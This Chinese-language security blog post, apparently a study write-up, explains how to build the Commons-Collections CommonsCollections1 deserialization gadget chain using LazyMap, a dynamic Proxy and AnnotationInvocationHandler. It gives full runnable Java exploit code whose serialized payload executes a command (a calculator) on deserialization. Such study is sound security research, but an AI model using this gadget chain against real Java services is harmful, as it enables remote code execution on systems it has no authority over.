点击蓝字 · 关注我们
java安全-反序列化之利用LazyMap构造利用链。
在代码审计的知识星球里,看到p神关于java反序列化系列的文章。于是跟着该系列文章进行学习。
这是跟这个系列学习的第三篇文章
前面记录关于简化CommonCollections1利用链学习分析,我们都是用到了TransformedMap,但是我们在yso中的CommonCollections1利用链中用到的是LazyMap,因此这篇文章就是学习LazyMap,并用它来构造利用链。
0x01
1.ysoserial中的LazyMap是啥
LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承了
AbstractMapDecorator。
TransformedMap的漏洞触发点:是在利用put方法写入元素的时候触发了transform方法从而触发了我们构造的恶意利用链(具体看我之前写的文章java安全-反序列化之简化的类CommonCollection1利用链分析)
而LazyMap的漏洞触发点略有差别:LazyMap是在其get方法中执行的factory.transform。
当map.containskey(key) == false,就会调用factory.transform。
在java安全-反序列化之简化的类CommonCollection1利用链完善这篇文章中我们有分析sun.reflect.annotation.AnnotationInvocationHandler,在其readObject方法中通过调用setValue添加元素来触发transform。
但是在readObject方法中没有直接调用到Map的get方法。
yso作者用
sun.reflect.annotation.AnnotationInvocationHandler类的invoke方法有调用到get:
yso的作者是利用java的对象代理来调用
AnnotationInvocationHandler#invoke。
之前在学习java的动态代理的时候看过一篇文章,讲述了java动态代理中的invoke方法是如何被自动调用的。
https://blog.csdn.net/zcc_0015/article/details/22695647
我想这应该是作者利用java的对象代理的原因吧?
我们需要用到java.reflect.Proxy:
Map proxyMap = (Map)
Proxy.newProxyInstance(Map.class.getClassLoader(), new
Class[] {Map.class}, handler);
Proxy.newProxyInstance 的第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑。
p神的demo:
package vulhub;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class ExampleInvocationHandler implements InvocationHandler {
protected Map map;
public ExampleInvocationHandler(Map map){
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if(method.getName().compareTo("get") == 0){
System.out.println("Hook method: "+ method.getName());
return "hacked Object";
}
return method.invoke(this.map,args);
}
}
package vulhub;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class ExampleTest {
public static void main(String[] args) {
InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
proxyMap.put("test","xxx");
String result = (String)proxyMap.get("test");
System.out.println(result);
}
}
看执行结果,我们能发现我们明明传进Map是test值为xxx,但是我们获取到的结果却是hacked Object。
sun.reflect.annotation.AnnotationInvocationHandler,这个类实际就是一个InvocationHandler,将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意的方法。
就会自动调用到
AnnotationInvocationHandler#invoke 方法,
进而触发我们的LazyMap#get
3.利用LazyMap构造利用链
在上一篇完善的简化的类CommonsCollection1的demo基础上进行修改。
首先使用LazyMap替换TransformedMap。
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
然后通过反射获取
sun.reflect.annotation.AnnotationInvocationHandler
这个内部类,然后进行对其进行Proxy。
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是:
sun.reflect.annotation.AnnotationInvocationHandler#readObject,所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹:
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
全部代码:
package vulhub;
import groovy.transform.Undefined;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class ccTest2 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"deepin-calculator" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
4.小问题
当我用debug调试到了以下这句代码后:
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
会直接弹出三个计算器........
引用p神的话:
在使用Proxy代理了map对象后,我们在任何地方执行map的方法就会触发Payload弹出计算器,所以,在本地调试代码的时候,因为调试器会在下面调用一些toString之类的方法,导致不经意间触发了命令。ysoserial对此有一些处理,它在POC的最后才将执行命令的Transformer数组设置到transformerChain中,原因是避免本地生成序列化流的程序执行到命令(在调试程序的时候可能会触发一次Proxy#invoke
EDI安全
扫二维码|关注我们
一个专注渗透实战经验分享的公众号
本文始发于微信公众号(EDI安全):【内部投稿】利用LazyMap构造利用链
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论